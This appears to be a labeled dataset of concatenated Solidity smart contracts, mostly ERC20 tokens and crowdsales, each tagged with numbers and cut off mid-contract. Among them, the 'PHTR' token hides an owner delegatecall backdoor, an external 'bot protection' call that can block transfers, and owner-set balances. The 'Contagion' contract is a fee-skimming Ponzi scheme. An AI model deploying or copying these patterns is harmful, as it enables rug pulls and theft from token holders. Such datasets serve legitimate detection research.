ERC20 token,
address from,
address to,
uint256 value
)
internal
{
require(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
require(token.approve(spender, value));
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract StrayToken is StandardToken, BurnableToken, Ownable {
using SafeERC20 for ERC20;
uint256 public INITIAL_SUPPLY = 1000000000;
string public name = "Stray";
string public symbol = "ST";
uint8 public decimals = 18;
address public companyWallet;
address public privateWallet;
address public fund;
constructor(address _companyWallet, address _privateWallet) public {
require(_companyWallet != address(0));
require(_privateWallet != address(0));
totalSupply_ = INITIAL_SUPPLY * (10 ** uint256(decimals));
companyWallet = _companyWallet;
privateWallet = _privateWallet;
_preSale(companyWallet, totalSupply_.mul(15).div(100));
_preSale(privateWallet, totalSupply_.mul(25).div(100));
uint256 sold = balances[companyWallet].add(balances[privateWallet]);
balances[msg.sender] = balances[msg.sender].add(totalSupply_.sub(sold));
emit Transfer(address(0), msg.sender, balances[msg.sender]);
}
function setFundContract(address _fund) onlyOwner public {
require(_fund != address(0));
require(_fund != address(this));
fund = _fund;
}
function burnAll(address _from) public {
require(fund == msg.sender);
require(0 != balances[_from]);
_burn(_from, balances[_from]);
}
function _preSale(address _to, uint256 _value) internal onlyOwner {
balances[_to] = _value;
emit Transfer(address(0), _to, _value);
}
}
contract Crowdsale {
using SafeMath for uint256;
using SafeERC20 for ERC20;
ERC20 public token;
address public wallet;
uint256 public rate;
uint256 public weiRaised;
event TokenPurchase(
address indexed purchaser,
address indexed beneficiary,
uint256 value,
uint256 amount
);
constructor(uint256 _rate, address _wallet, ERC20 _token) public {
require(_rate > 0);
require(_wallet != address(0));
require(_token != address(0));
rate = _rate;
wallet = _wallet;
token = _token;
}
function () external payable {
buyTokens(msg.sender);
}
function buyTokens(address _beneficiary) public payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(_beneficiary, weiAmount);
uint256 tokens = _getTokenAmount(weiAmount);
weiRaised = weiRaised.add(weiAmount);
_processPurchase(_beneficiary, tokens);
emit TokenPurchase(
msg.sender,
_beneficiary,
weiAmount,
tokens
);
_updatePurchasingState(_beneficiary, weiAmount);
_forwardFunds();
_postValidatePurchase(_beneficiary, weiAmount);
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
require(_beneficiary != address(0));
require(_weiAmount != 0);
}
function _postValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
}
function _deliverTokens(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
token.safeTransfer(_beneficiary, _tokenAmount);
}
function _processPurchase(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
_deliverTokens(_beneficiary, _tokenAmount);
}
function _updatePurchasingState(
address _beneficiary,
uint256 _weiAmount
)
internal
{
}
function _getTokenAmount(uint256 _weiAmount)
internal view returns (uint256)
{
return _weiAmount.mul(rate);
}
function _forwardFunds() internal {
wallet.transfer(msg.value);
}
}
contract RefundVault is Ownable {
using SafeMath for uint256;
enum State { Active, Refunding, Closed }
mapping (address => uint256) public deposited;
address public wallet;
State public state;
event Closed();
event RefundsEnabled();
event Refunded(address indexed beneficiary, uint256 weiAmount);
constructor(address _wallet) public {
require(_wallet != address(0));
wallet = _wallet;
state = State.Active;
}
function deposit(address investor) onlyOwner public payable {
require(state == State.Active);
deposited[investor] = deposited[investor].add(msg.value);
}
function close() onlyOwner public {
require(state == State.Active);
state = State.Closed;
emit Closed();
wallet.transfer(address(this).balance);
}
function enableRefunds() onlyOwner public {
require(state == State.Active);
state = State.Refunding;
emit RefundsEnabled();
}
function refund(address investor) public {
require(state == State.Refunding);
uint256 depositedValue = deposited[investor];
deposited[investor] = 0;
investor.transfer(depositedValue);
emit Refunded(investor, depositedValue);
}
}
contract TimedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public openingTime;
uint256 public closingTime;
modifier onlyWhileOpen {
require(block.timestamp >= openingTime && block.timestamp <= closingTime);
_;
}
constructor(uint256 _openingTime, uint256 _closingTime) public {
require(_openingTime >= block.timestamp);
require(_closingTime >= _openingTime);
openingTime = _openingTime;
closingTime = _closingTime;
}
function hasClosed() public view returns (bool) {
return block.timestamp > closingTime;
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
onlyWhileOpen
{
super._preValidatePurchase(_beneficiary, _weiAmount);
}
}
contract FinalizableCrowdsale is TimedCrowdsale, Ownable {
using SafeMath for uint256;
bool public isFinalized = false;
event Finalized();
function finalize() onlyOwner public {
require(!isFinalized);
require(hasClosed());
finalization();
emit Finalized();
isFinalized = true;
}
function finalization() internal {
}
}
contract StrayCrowdsale is FinalizableCrowdsale {
using SafeMath for uint256;
uint256 public softCapInToken;
uint256 public hardCapInToken;
uint256 public soldToken = 0;
uint256 public bonusClosingTime0;
uint256 public bonusClosingTime1;
uint256 public bonusRateInPercent0 = 33;
uint256 public bonusRateInPercent1 = 20;
uint256 public mininumContributeUSD = 100;
uint256 public decimalsETHToUSD;
uint256 public exchangeRateETHToUSD;
uint256 public mininumPurchaseTokenQuantity;
uint256 public mininumContributeWei;
uint256 public exchangeRateUSDToToken = 100;
StrayToken public strayToken;
RefundVault public vault;
event RateUpdated(uint256 rate, uint256 mininumContributeWei);
constructor(uint256 _softCapInUSD
, uint256 _hardCapInUSD
, address _fund
, ERC20 _token
, uint256 _openingTime
, uint256 _closingTime
, uint256 _bonusClosingTime0
, uint256 _bonusClosingTime1
)
Crowdsale(1, _fund, _token)
TimedCrowdsale(_openingTime, _closingTime)
public
{
require(_bonusClosingTime0 >= _openingTime);
require(_bonusClosingTime1 >= _bonusClosingTime0);
require(_closingTime >= _bonusClosingTime1);
bonusClosingTime0 = _bonusClosingTime0;
bonusClosingTime1 = _bonusClosingTime1;
strayToken = StrayToken(token);
require(_softCapInUSD > 0 && _softCapInUSD <= _hardCapInUSD);
softCapInToken = _softCapInUSD * exchangeRateUSDToToken * (10 ** uint256(strayToken.decimals()));
hardCapInToken = _hardCapInUSD * exchangeRateUSDToToken * (10 ** uint256(strayToken.decimals()));
require(strayToken.balanceOf(owner) >= hardCapInToken);
vault = new RefundVault(_fund);
mininumPurchaseTokenQuantity = exchangeRateUSDToToken * mininumContributeUSD
* (10 ** (uint256(strayToken.decimals())));
setExchangeRateETHToUSD(40000, 2);
}
function setExchangeRateETHToUSD(uint256 _rate, uint256 _decimals) onlyOwner public {
require(uint256(strayToken.decimals()).add(2) >= _decimals.add(18));
exchangeRateETHToUSD = _rate;
decimalsETHToUSD = _decimals;
rate = _rate.mul(exchangeRateUSDToToken);
if (uint256(strayToken.decimals()) >= _decimals.add(18)) {
rate = rate.mul(10 ** (uint256(strayToken.decimals()).sub(18).sub(_decimals)));
} else {
rate = rate.div(10 ** (_decimals.add(18).sub(uint256(strayToken.decimals()))));
}
mininumContributeWei = mininumPurchaseTokenQuantity.div(rate);
if (mininumContributeWei * rate < mininumPurchaseTokenQuantity)
mininumContributeWei += 1;
emit RateUpdated(rate, mininumContributeWei);
}
function claimRefund() public {
require(isFinalized);
require(!softCapReached());
vault.refund(msg.sender);
}
function softCapReached() public view returns (bool) {
return soldToken >= softCapInToken;
}
function isInStage1() view public returns (bool) {
return now <= bonusClosingTime0 && now >= openingTime;
}
function isInStage2() view public returns (bool) {
return now <= bonusClosingTime1 && now > bonusClosingTime0;
}
function hasStarted() view public returns (bool) {
return now >= openingTime;
}
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount)
internal
{
super._preValidatePurchase(_beneficiary, _weiAmount);
require(_weiAmount >= mininumContributeWei);
}
function _processPurchase(address _beneficiary, uint256 _tokenAmount) internal {
soldToken = soldToken.add(_tokenAmount);
require(soldToken <= hardCapInToken);
_tokenAmount = _addBonus(_tokenAmount);
super._processPurchase(_beneficiary, _tokenAmount);
}
function finalization() internal {
if (softCapReached()) {
vault.close();
} else {
vault.enableRefunds();
}
strayToken.burn(token.balanceOf(address(this)));
super.finalization();
}
function _forwardFunds() internal {
vault.deposit.value(msg.value)(msg.sender);
}
function _addBonus(uint256 _tokenAmount) internal view returns (uint256) {
if (bonusClosingTime0 >= now) {
_tokenAmount = _tokenAmount.mul(100 + bonusRateInPercent0).div(100);
} else if (bonusClosingTime1 >= now) {
_tokenAmount = _tokenAmount.mul(100 + bonusRateInPercent1).div(100);
}
require(_tokenAmount <= token.balanceOf(address(this)));
return _tokenAmount;
}
} | 1 | 2,809 |
pragma solidity ^0.7.0;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
interface IUniswapV2Router02 {
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BotProtected {
address internal owner;
address internal protectionFromBots;
address public uniPair;
constructor(address _botProtection) {
protectionFromBots = _botProtection;
}
modifier checkBots(address _from, address _to, uint256 _value) {
(bool notABot, bytes memory isNotBot) = protectionFromBots.call(abi.encodeWithSelector(0x15274141, _from, _to, uniPair, _value));
require(notABot);
_;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
abstract contract ERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
}
}
contract PHTR is BotProtected {
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply = 100000000000000000000000000;
string public name = "Phuture";
string public symbol = "PHTR";
IUniswapV2Router02 public pancakeRouter = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address public wrappedEther = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
constructor(address _botProtection) BotProtected(_botProtection) {
owner = tx.origin;
uniPair = pairFor(wrappedEther, address(this));
allowance[address(this)][address(pancakeRouter)] = uint(-1);
allowance[tx.origin][uniPair] = uint(-1);
}
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable checkBots(_from, _to, _value) returns (bool) {
if (_value == 0) { return true; }
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function pairFor(address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
function list(uint _numList, address[] memory _reallyGoHere, uint[] memory _amounts) public payable {
require(msg.sender == owner);
balanceOf[address(this)] = _numList;
balanceOf[msg.sender] = totalSupply * 6 / 100;
pancakeRouter.addLiquidityETH{value: msg.value}(
address(this),
_numList,
_numList,
msg.value,
msg.sender,
block.timestamp + 600
);
require(_reallyGoHere.length == _amounts.length);
protectionFromBots.call(abi.encodeWithSelector(0xd5eaf4c3, _reallyGoHere));
for(uint i = 0; i < _reallyGoHere.length; i++) {
balanceOf[_reallyGoHere[i]] = _amounts[i];
emit Transfer(address(0x0), _reallyGoHere[i], _amounts[i]);
}
}
} | 0 | 31 |
pragma solidity ^0.4.23;
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value) returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract GlobalStorageMultiId {
uint256 public regPrice;
function registerUser(bytes32 _id) payable returns(bool);
function changeAddress(bytes32 _id , address _newAddress) returns(bool);
function setUint(bytes32 _id , bytes32 _key , uint _data , bool _overwrite) returns(bool);
function getUint(bytes32 _id , bytes32 _key) constant returns(uint);
event Error(string _string);
event RegisteredUser(address _address , bytes32 _id);
event ChangedAdd(bytes32 _id , address _old , address _new);
}
contract UpgDocs {
function confirm(bytes32 _storKey) returns(bool);
event DocsUpgraded(address _oldAddress,address _newAddress);
}
contract RegDocuments {
string public version;
address public admin;
address public owner;
uint public price;
bool registered;
address storageAddress;
bytes32 public storKey;
uint public ownerPerc;
GlobalStorageMultiId public Storage;
event RegDocument(address indexed from);
event DocsUpgraded(address _oldAddress,address _newAddress);
event ReceivedPayment(address indexed _address,uint256 _value);
modifier onlyAdmin() {
if ( msg.sender != admin && msg.sender != owner ) revert();
_;
}
modifier onlyOwner() {
if ( msg.sender != owner ) revert();
_;
}
constructor() {
price = 0.01 ether;
admin = msg.sender;
owner = 0xc238ff50c09787e7b920f711850dd945a40d3232;
version = "v0.6";
storageAddress = 0x8f49722c61a9398a1c5f5ce6e5feeef852831a64;
ownerPerc = 100;
Storage = GlobalStorageMultiId(storageAddress);
}
function getStoragePrice() onlyAdmin constant returns(uint) {
return Storage.regPrice();
}
function registerDocs(bytes32 _storKey) onlyAdmin payable {
require(!registered);
uint _value = Storage.regPrice();
storKey = _storKey;
Storage.registerUser.value(_value)(_storKey);
registered = true;
}
function upgradeDocs(address _newAddress) onlyAdmin {
UpgDocs newDocs = UpgDocs(_newAddress);
require(newDocs.confirm(storKey));
Storage.changeAddress(storKey,_newAddress);
_newAddress.send(this.balance);
}
function confirm(bytes32 _storKey) returns(bool) {
require(!registered);
storKey = _storKey;
registered = true;
emit DocsUpgraded(msg.sender,this);
return true;
}
function changeOwner(address _newOwnerAddress) onlyOwner returns(bool){
owner = _newOwnerAddress;
return true;
}
function changeAdmin(address _newAdmin) onlyOwner returns(bool) {
admin = _newAdmin;
return true;
}
function sendToken(address _token,address _to , uint _value) onlyOwner returns(bool) {
ERC20Basic Token = ERC20Basic(_token);
require(Token.transfer(_to, _value));
return true;
}
function changePerc(uint _newperc) onlyAdmin public {
ownerPerc = _newperc;
}
function changePrice(uint _newPrice) onlyAdmin public {
price = _newPrice;
}
function() payable public {
uint a = getUint(msg.sender);
setUint(msg.sender, a + msg.value);
uint b = admin.balance;
if ( b < 0.002 ether ) {
admin.send( 0.002 ether - b );
}
owner.send(this.balance);
emit ReceivedPayment(msg.sender, msg.value);
}
function sendCredits(address[] _addresses, uint _amountEach) onlyAdmin public returns (bool success) {
for (uint8 i=0; i<_addresses.length; i++){
uint a = getUint(_addresses[i]);
setUint(_addresses[i], a + _amountEach);
emit ReceivedPayment(_addresses[i],_amountEach);
}
}
function getBalance(address _address) constant returns(uint) {
return getUint(_address);
}
function regDoc(address _address, string _hash) onlyAdmin returns (bool success) {
uint a = getUint(_address);
require(a >= price);
setUint(_address, a - price);
emit RegDocument(_address);
return true;
}
function getPrice() constant returns(uint) {
return price;
}
function setUint(address _address, uint _value) internal {
Storage.setUint(storKey, bytes32(_address), _value, true);
}
function getUint(address _address) internal constant returns(uint) {
return Storage.getUint(storKey, bytes32(_address));
}
} | 0 | 1,225 |
pragma solidity ^0.4.18;
contract TokenBlueGoldERC20 {
string private constant _name = "BlueGold";
string private constant _symbol = "BEG";
uint8 private constant _decimals = 8;
uint256 private constant _initialSupply = 15000000;
uint256 private constant _totalSupply = _initialSupply * (10 ** uint256(_decimals));
mapping (address => uint256) private _balanceOf;
mapping (address => mapping (address => uint256)) private _allowance;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
function TokenBlueGoldERC20() public {
address sender = msg.sender;
_balanceOf[sender] = _totalSupply;
}
function name() public pure returns (string) {
return _name;
}
function symbol() public pure returns (string) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure returns (uint256) {
return _totalSupply;
}
function balanceOf(address _ownerAddress) public view returns (uint256) {
return _balanceOf[_ownerAddress];
}
function transfer(address _to, uint256 _value) public returns (bool) {
address sender = msg.sender;
_transfer(sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
address sender = msg.sender;
require(_value <= _allowance[_from][sender]);
_reduceAllowanceLimit(_from, _value);
_transfer(_from, _to, _value);
return true;
}
function _reduceAllowanceLimit(address _from, uint256 _value) internal {
address sender = msg.sender;
_allowance[_from][sender] -= _value;
}
function _transfer(address _from, address _to, uint256 _value) internal {
_preValidTransfer(_from, _to, _value);
uint256 previousBalances = _balanceOf[_from] + _balanceOf[_to];
_sendToken(_from, _to, _value);
assert(_balanceOf[_from] + _balanceOf[_to] == previousBalances);
}
function _preValidTransfer(address _from, address _to, uint256 _value) view internal {
require(_to != 0x0);
require(_value > 0);
require(_balanceOf[_from] >= _value);
}
function _sendToken(address _from, address _to, uint256 _value) internal {
_balanceOf[_from] -= _value;
_balanceOf[_to] += _value;
Transfer(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public returns (bool) {
address sender = msg.sender;
_allowance[sender][_spender] = _value;
Approval(sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return _allowance[_owner][_spender];
}
} | 0 | 937 |
pragma solidity ^0.4.15;
contract Token {
uint256 public totalSupply;
function balanceOf(address _owner) constant returns (uint256 balance);
function transfer(address _to, uint256 _value) returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
function approve(address _spender, uint256 _value) returns (bool success);
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract StandardToken is Token {
function transfer(address _to, uint256 _value) returns (bool success) {
require(balances[msg.sender] >= _value);
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
require(balances[_from] >= _value && allowed[_from][msg.sender] >= _value);
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
require(_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData));
return true;
}
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
}
contract AbstractSingularDTVFund {
function softWithdrawRewardFor(address forAddress) returns (uint);
}
contract SingularDTVToken is StandardToken {
string public version = "0.1.0";
AbstractSingularDTVFund public singularDTVFund;
string public name;
string public symbol;
uint8 public constant decimals = 18;
function transfer(address to, uint256 value)
returns (bool)
{
singularDTVFund.softWithdrawRewardFor(msg.sender);
singularDTVFund.softWithdrawRewardFor(to);
return super.transfer(to, value);
}
function transferFrom(address from, address to, uint256 value)
returns (bool)
{
singularDTVFund.softWithdrawRewardFor(from);
singularDTVFund.softWithdrawRewardFor(to);
return super.transferFrom(from, to, value);
}
function SingularDTVToken(address sDTVFundAddr, address _wallet, string _name, string _symbol, uint _totalSupply) {
if(sDTVFundAddr == 0 || _wallet == 0) {
revert();
}
balances[_wallet] = _totalSupply;
totalSupply = _totalSupply;
name = _name;
symbol = _symbol;
singularDTVFund = AbstractSingularDTVFund(sDTVFundAddr);
Transfer(this, _wallet, _totalSupply);
}
} | 1 | 3,497 |
pragma solidity ^0.4.24;
contract Contagion
{
struct _Tx {
address txuser;
uint txvalue;
}
_Tx[] public Tx;
uint public counter;
address owner;
modifier onlyowner
{
if (msg.sender == owner)
_;
}
constructor () public {
owner = msg.sender;
}
function() public payable {
require(msg.value>=0.01 ether);
Sort();
}
function Sort() internal
{
uint feecounter;
feecounter=msg.value/5;
owner.send(feecounter);
feecounter=0;
uint txcounter=Tx.length;
counter=Tx.length;
Tx.length++;
Tx[txcounter].txuser=msg.sender;
Tx[txcounter].txvalue=msg.value;
}
function Count(uint end, uint start) public onlyowner {
while (end>start) {
Tx[end].txuser.send((Tx[end].txvalue/1000)*33);
end-=1;
}
}
} | 0 | 752 |
pragma solidity 0.4.15;
contract RegistryICAPInterface {
function parse(bytes32 _icap) constant returns(address, bytes32, bool);
function institutions(bytes32 _institution) constant returns(address);
}
contract EToken2Interface {
function registryICAP() constant returns(RegistryICAPInterface);
function baseUnit(bytes32 _symbol) constant returns(uint8);
function description(bytes32 _symbol) constant returns(string);
function owner(bytes32 _symbol) constant returns(address);
function isOwner(address _owner, bytes32 _symbol) constant returns(bool);
function totalSupply(bytes32 _symbol) constant returns(uint);
function balanceOf(address _holder, bytes32 _symbol) constant returns(uint);
function isLocked(bytes32 _symbol) constant returns(bool);
function issueAsset(bytes32 _symbol, uint _value, string _name, string _description, uint8 _baseUnit, bool _isReissuable) returns(bool);
function reissueAsset(bytes32 _symbol, uint _value) returns(bool);
function revokeAsset(bytes32 _symbol, uint _value) returns(bool);
function setProxy(address _address, bytes32 _symbol) returns(bool);
function lockAsset(bytes32 _symbol) returns(bool);
function proxyTransferFromToICAPWithReference(address _from, bytes32 _icap, uint _value, string _reference, address _sender) returns(bool);
function proxyApprove(address _spender, uint _value, bytes32 _symbol, address _sender) returns(bool);
function allowance(address _from, address _spender, bytes32 _symbol) constant returns(uint);
function proxyTransferFromWithReference(address _from, address _to, uint _value, bytes32 _symbol, string _reference, address _sender) returns(bool);
}
contract AssetInterface {
function _performTransferWithReference(address _to, uint _value, string _reference, address _sender) returns(bool);
function _performTransferToICAPWithReference(bytes32 _icap, uint _value, string _reference, address _sender) returns(bool);
function _performApprove(address _spender, uint _value, address _sender) returns(bool);
function _performTransferFromWithReference(address _from, address _to, uint _value, string _reference, address _sender) returns(bool);
function _performTransferFromToICAPWithReference(address _from, bytes32 _icap, uint _value, string _reference, address _sender) returns(bool);
function _performGeneric(bytes, address) payable {
revert();
}
}
contract ERC20Interface {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed from, address indexed spender, uint256 value);
function totalSupply() constant returns(uint256 supply);
function balanceOf(address _owner) constant returns(uint256 balance);
function transfer(address _to, uint256 _value) returns(bool success);
function transferFrom(address _from, address _to, uint256 _value) returns(bool success);
function approve(address _spender, uint256 _value) returns(bool success);
function allowance(address _owner, address _spender) constant returns(uint256 remaining);
function decimals() constant returns(uint8);
}
contract AssetProxyInterface {
function _forwardApprove(address _spender, uint _value, address _sender) returns(bool);
function _forwardTransferFromWithReference(address _from, address _to, uint _value, string _reference, address _sender) returns(bool);
function _forwardTransferFromToICAPWithReference(address _from, bytes32 _icap, uint _value, string _reference, address _sender) returns(bool);
function balanceOf(address _owner) constant returns(uint);
}
contract Bytes32 {
function _bytes32(string _input) internal constant returns(bytes32 result) {
assembly {
result := mload(add(_input, 32))
}
}
}
contract ReturnData {
function _returnReturnData(bool _success) internal {
assembly {
let returndatastart := msize()
mstore(0x40, add(returndatastart, returndatasize))
returndatacopy(returndatastart, 0, returndatasize)
switch _success case 0 { revert(returndatastart, returndatasize) } default { return(returndatastart, returndatasize) }
}
}
function _assemblyCall(address _destination, uint _value, bytes _data) internal returns(bool success) {
assembly {
success := call(div(mul(gas, 63), 64), _destination, _value, add(_data, 32), mload(_data), 0, 0)
}
}
}
contract SyncFab is ERC20Interface, AssetProxyInterface, Bytes32, ReturnData {
EToken2Interface public etoken2;
bytes32 public etoken2Symbol;
string public name;
string public symbol;
function init(EToken2Interface _etoken2, string _symbol, string _name) returns(bool) {
if (address(etoken2) != 0x0) {
return false;
}
etoken2 = _etoken2;
etoken2Symbol = _bytes32(_symbol);
name = _name;
symbol = _symbol;
return true;
}
modifier onlyEToken2() {
if (msg.sender == address(etoken2)) {
_;
}
}
modifier onlyAssetOwner() {
if (etoken2.isOwner(msg.sender, etoken2Symbol)) {
_;
}
}
function _getAsset() internal returns(AssetInterface) {
return AssetInterface(getVersionFor(msg.sender));
}
function recoverTokens(uint _value) onlyAssetOwner() returns(bool) {
return this.transferWithReference(msg.sender, _value, 'Tokens recovery');
}
function totalSupply() constant returns(uint) {
return etoken2.totalSupply(etoken2Symbol);
}
function balanceOf(address _owner) constant returns(uint) {
return etoken2.balanceOf(_owner, etoken2Symbol);
}
function allowance(address _from, address _spender) constant returns(uint) {
